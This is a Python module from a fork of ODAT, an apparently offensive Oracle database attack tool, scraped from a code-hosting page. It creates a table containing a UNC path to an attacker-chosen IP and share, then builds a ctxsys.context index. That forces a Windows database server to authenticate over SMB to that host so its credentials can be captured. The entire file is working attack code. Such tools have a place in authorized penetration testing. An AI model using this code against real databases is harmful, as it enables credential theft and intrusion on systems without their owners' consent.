forked from quentinhardy/odat
/
SMB.py
170 lines (158 loc) · 6.56 KB
/
SMB.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/python
# -*- coding: utf-8 -*-
from OracleDatabase import OracleDatabase
from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser
import logging
from Constants import *
class SMB (OracleDatabase):
'''
Allow the database to connect to a smb share and implement the smb authentication capture
'''
def __init__(self,args):
'''
Constructor
'''
logging.debug("SMB object created")
OracleDatabase.__init__(self,args)
self.localIp = "127.0.0.1"
self.shareName = "SHARE"
self.TABLE_NAME = "ODAT_SMB_table"
self.SQL_CREATE_TABLE = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))"
self.SQL_DROP_TABLE = "DROP TABLE {0}"
self.SQL_INSERTINTO = "INSERT INTO {0} VALUES (1, '\\\\{1}\\{2}', NULL)"
self.INDEX_NAME = "ODAT_SMB_INDEX"
self.SQL_CREATE_INDEX = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')"
self.SQL_DROP_INDEX = "DROP INDEX {0}"
self.loadInformationRemoteDatabase()
def createTable (self):
'''
Create a temporary table
'''
logging.info("Creating the table named {0}".format(self.TABLE_NAME))
status = self.__execPLSQL__(self.SQL_CREATE_TABLE.format(self.TABLE_NAME))
if isinstance(status,Exception):
logging.info("Impossible to create the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status)))
return status
else :
logging.info("The table named {0} is created".format(self.TABLE_NAME))
logging.info("Inserting into the table named {0} in order to connect to \\\\{1}\\{2}".format(self.TABLE_NAME, self.localIp, self.shareName))
status = self.__execPLSQL__(self.SQL_INSERTINTO.format(self.TABLE_NAME, self.localIp, self.shareName))
if isinstance(status,Exception):
logging.info("Impossible to insert into the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status)))
return status
else :
logging.info("Insertion into the table named {0} done".format(self.TABLE_NAME))
return True
def deleteTable (self):
'''
delete the temporary table
'''
logging.info("Deleting the table named {0}".format(self.TABLE_NAME))
status = self.__execPLSQL__(self.SQL_DROP_TABLE.format(self.TABLE_NAME))
if isinstance(status,Exception):
logging.info("Impossible to drop the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status)))
return status
else :
logging.info("The table named {0} is dropped".format(self.TABLE_NAME))
return True
def createIndex (self):
'''
Create an index to start the SMB connection
'''
logging.info("Creating the index named {0}. SMB connection is establishing ....".format(self.INDEX_NAME))
status = self.__execPLSQL__(self.SQL_CREATE_INDEX.format(self.INDEX_NAME, self.TABLE_NAME))
if isinstance(status,Exception):
logging.info("The index named {0} has not been created: {1}".format(self.INDEX_NAME, self.cleanError(status)))
return status
else :
logging.info("The index named {0} is created. The SMB connection to \\\\{1}\\{2} is done.".format(self.INDEX_NAME, self.localIp, self.shareName))
return True
def deleteIndex (self):
'''
Delete the index
'''
logging.info("Dropping the index named {0}".format(self.INDEX_NAME))
status = self.__execPLSQL__(self.SQL_DROP_INDEX.format(self.INDEX_NAME))
if isinstance(status,Exception):
logging.info("The index named {0} has not been dropped: {1}".format(self.INDEX_NAME, self.cleanError(status)))
return status
else :
logging.info("The index named {0} is dropped".format(self.INDEX_NAME, self.localIp, self.shareName))
return True
def captureSMBAuthentication (self, localIP, shareName):
'''
Capture the SMB authentication
'''
self.localIp = localIP
self.shareName = shareName
logging.info("Delete table and index if exist")
self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting
self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting
logging.info("Capture the SMB authentication")
if self.remoteSystemIsWindows() == True:
logging.info("The remote server is Windows, good news")
logging.info("Create the table and insert the share name in this one")
status = self.createTable()
if status == True:
logging.info("Create an index")
status = self.createIndex()
if status == True:
self.deleteIndex()
self.deleteTable()
return True
else:
self.deleteTable()
return status
else :
self.deleteTable()
return status
else:
logging.info("The remote server is Linux")
return ErrorSQLRequest("The remote server is Linux")
def testAll(self):
'''
Test all functions
'''
self.localIp = "127.0.0.1"
self.shareName = "SHARE"
logging.info("Delete table and index if exist")
self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting
self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting
self.args['print'].subtitle("SMB authentication capture ?")
if self.remoteSystemIsWindows() == True:
logging.info("The remote server is Windows")
logging.info("Simulate the table creation and insertion")
status = self.createTable()
if status == True:
logging.info("Simulate the index creation")
status = self.createIndex()
if status != True:
self.deleteIndex()
self.args['print'].badNews("KO")
else:
self.args['print'].unknownNews("Perhaps (try with --capture to be sure)")
self.deleteTable()
else :
self.deleteTable()
self.args['print'].badNews("KO")
else:
logging.info("The remote server is Linux")
self.args['print'].badNews("KO")
def runSMBModule(args):
'''
'''
status = True
if checkOptionsGivenByTheUser(args,["test-module",'captureSMBAuthentication']) == False : return EXIT_MISS_ARGUMENT
smb = SMB(args)
status = smb.connection(stopIfError=True)
if args['test-module'] == True :
args['print'].title("Test if SMB authentication capture can be possible")
status = smb.testAll()
#Option 1: capture SMB authentication
if args['captureSMBAuthentication'] !=None :
args['print'].title("Try to capture the SMB authentication (Connection to \\\\{0}\\{1} )".format(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1]))
status = smb.captureSMBAuthentication(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1])
if isinstance(status,Exception):
args['print'].badNews("Impossible to capture the SMB authentication")
else :
args['print'].goodNews("Check your SMB capture tool ...")